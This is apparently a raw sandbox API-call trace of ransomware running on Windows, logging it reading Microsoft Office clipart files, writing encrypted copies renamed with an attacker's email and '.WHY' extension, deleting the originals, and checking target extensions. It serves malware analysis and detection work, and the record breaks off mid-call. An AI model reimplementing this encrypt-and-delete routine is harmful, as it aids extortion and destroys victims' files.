[0272.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0272.072] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.072] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.532] GetLastError () returned 0x0 [0272.532] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0272.622] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0272.928] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.928] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.928] SetEndOfFile (hFile=0x3cc) returned 1 [0273.024] CloseHandle (hObject=0x3cc) returned 1 [0273.032] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.032] SetEndOfFile (hFile=0x38c) returned 1 [0273.039] CloseHandle (hObject=0x38c) returned 1 [0273.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0273.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.074] lstrlenW (lpString=".doc") returned 4 [0273.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.074] lstrlenW (lpString=".docx") returned 5 [0273.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.074] lstrlenW (lpString=".pdf") returned 4 [0273.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.074] lstrlenW (lpString=".xls") returned 4 [0273.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.075] lstrlenW (lpString=".xlsx") returned 5 [0273.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.075] lstrlenW (lpString=".ppt") returned 4 [0273.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.075] lstrlenW (lpString=".zip") returned 4 [0273.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.075] lstrlenW (lpString=".rar") returned 4 [0273.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString=".bz2") returned 4 [0273.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString=".7z") returned 3 [0273.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.076] lstrlenW (lpString=".dbf") returned 4 [0273.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.076] lstrlenW (lpString=".1cd") returned 4 [0273.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.076] lstrlenW (lpString=".jpg") returned 4 [0273.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.076] lstrlenW (lpString=".doc") returned 4 [0273.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString=".docx") returned 5 [0273.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.077] lstrlenW (lpString=".pdf") returned 4 [0273.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString=".xls") returned 4 [0273.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.077] lstrlenW (lpString=".xlsx") returned 5 [0273.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.077] lstrlenW (lpString=".ppt") returned 4 [0273.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.078] lstrlenW (lpString=".zip") returned 4 [0273.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.078] lstrlenW (lpString=".rar") returned 4 [0273.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.078] lstrlenW (lpString=".bz2") returned 4 [0273.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.078] lstrlenW (lpString=".7z") returned 3 [0273.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.078] lstrlenW (lpString=".dbf") returned 4 [0273.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.078] lstrlenW (lpString=".1cd") returned 4 [0273.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0273.079] lstrlenW (lpString=".jpg") returned 4 [0273.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.079] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.079] lstrlenW (lpString="BD00141_.WMF") returned 12 [0273.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.080] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=26886) returned 1 [0273.080] CloseHandle (hObject=0x38c) returned 1 [0273.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0273.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.081] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.082] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.083] GetLastError () returned 0x0 [0273.083] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x6906, lpOverlapped=0x0) returned 1 [0273.248] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0273.252] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.252] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.252] SetEndOfFile (hFile=0x3cc) returned 1 [0273.253] CloseHandle (hObject=0x3cc) returned 1 [0273.257] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.260] SetEndOfFile (hFile=0x38c) returned 1 [0273.268] CloseHandle (hObject=0x38c) returned 1 [0273.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0273.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.271] lstrlenW (lpString=".doc") returned 4 [0273.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.271] lstrlenW (lpString=".docx") returned 5 [0273.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.271] lstrlenW (lpString=".pdf") returned 4 [0273.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.271] lstrlenW (lpString=".xls") returned 4 [0273.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.271] lstrlenW (lpString=".xlsx") returned 5 [0273.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.271] lstrlenW (lpString=".ppt") returned 4 [0273.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.272] lstrlenW (lpString=".zip") returned 4 [0273.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.272] lstrlenW (lpString=".rar") returned 4 [0273.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.272] lstrlenW (lpString=".bz2") returned 4 [0273.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.272] lstrlenW (lpString=".7z") returned 3 [0273.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.272] lstrlenW (lpString=".dbf") returned 4 [0273.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.272] lstrlenW (lpString=".1cd") returned 4 [0273.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.273] lstrlenW (lpString=".jpg") returned 4 [0273.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.273] lstrlenW (lpString=".doc") returned 4 [0273.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.273] lstrlenW (lpString=".docx") returned 5 [0273.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.273] lstrlenW (lpString=".pdf") returned 4 [0273.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.273] lstrlenW (lpString=".xls") returned 4 [0273.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.274] lstrlenW (lpString=".xlsx") returned 5 [0273.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.274] lstrlenW (lpString=".ppt") returned 4 [0273.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.274] lstrlenW (lpString=".zip") returned 4 [0273.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.274] lstrlenW (lpString=".rar") returned 4 [0273.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.274] lstrlenW (lpString=".bz2") returned 4 [0273.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.275] lstrlenW (lpString=".7z") returned 3 [0273.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.275] lstrlenW (lpString=".dbf") returned 4 [0273.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.275] lstrlenW (lpString=".1cd") returned 4 [0273.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0273.276] lstrlenW (lpString=".jpg") returned 4 [0273.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.276] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.276] lstrlenW (lpString="BD00160_.WMF") returned 12 [0273.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0273.361] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=22516) returned 1 [0273.361] CloseHandle (hObject=0x250) returned 1 [0273.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0273.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0273.362] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.362] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.363] GetLastError () returned 0x0 [0273.363] ReadFile (in: hFile=0x250, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0273.643] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0273.647] ReadFile (in: hFile=0x250, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.647] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.648] SetEndOfFile (hFile=0x38c) returned 1 [0273.648] CloseHandle (hObject=0x38c) returned 1 [0273.785] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.785] SetEndOfFile (hFile=0x250) returned 1 [0273.795] CloseHandle (hObject=0x250) returned 1 [0273.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0273.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.799] lstrlenW (lpString=".doc") returned 4 [0273.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.799] lstrlenW (lpString=".docx") returned 5 [0273.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.799] lstrlenW (lpString=".pdf") returned 4 [0273.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.799] lstrlenW (lpString=".xls") returned 4 [0273.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.799] lstrlenW (lpString=".xlsx") returned 5 [0273.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.799] lstrlenW (lpString=".ppt") returned 4 [0273.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.799] lstrlenW (lpString=".zip") returned 4 [0273.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.800] lstrlenW (lpString=".rar") returned 4 [0273.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.800] lstrlenW (lpString=".bz2") returned 4 [0273.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.800] lstrlenW (lpString=".7z") returned 3 [0273.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.800] lstrlenW (lpString=".dbf") returned 4 [0273.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.800] lstrlenW (lpString=".1cd") returned 4 [0273.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.801] lstrlenW (lpString=".jpg") returned 4 [0273.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.801] lstrlenW (lpString=".doc") returned 4 [0273.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.801] lstrlenW (lpString=".docx") returned 5 [0273.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.801] lstrlenW (lpString=".pdf") returned 4 [0273.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.801] lstrlenW (lpString=".xls") returned 4 [0273.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.802] lstrlenW (lpString=".xlsx") returned 5 [0273.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.802] lstrlenW (lpString=".ppt") returned 4 [0273.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.802] lstrlenW (lpString=".zip") returned 4 [0273.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.802] lstrlenW (lpString=".rar") returned 4 [0273.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString=".bz2") returned 4 [0273.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.802] lstrlenW (lpString=".7z") returned 3 [0273.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.803] lstrlenW (lpString=".dbf") returned 4 [0273.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.803] lstrlenW (lpString=".1cd") returned 4 [0273.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0273.803] lstrlenW (lpString=".jpg") returned 4 [0273.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.804] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.804] lstrlenW (lpString="BD06200_.WMF") returned 12 [0273.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0273.933] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=16676) returned 1 [0273.933] CloseHandle (hObject=0x3bc) returned 1 [0273.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0273.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 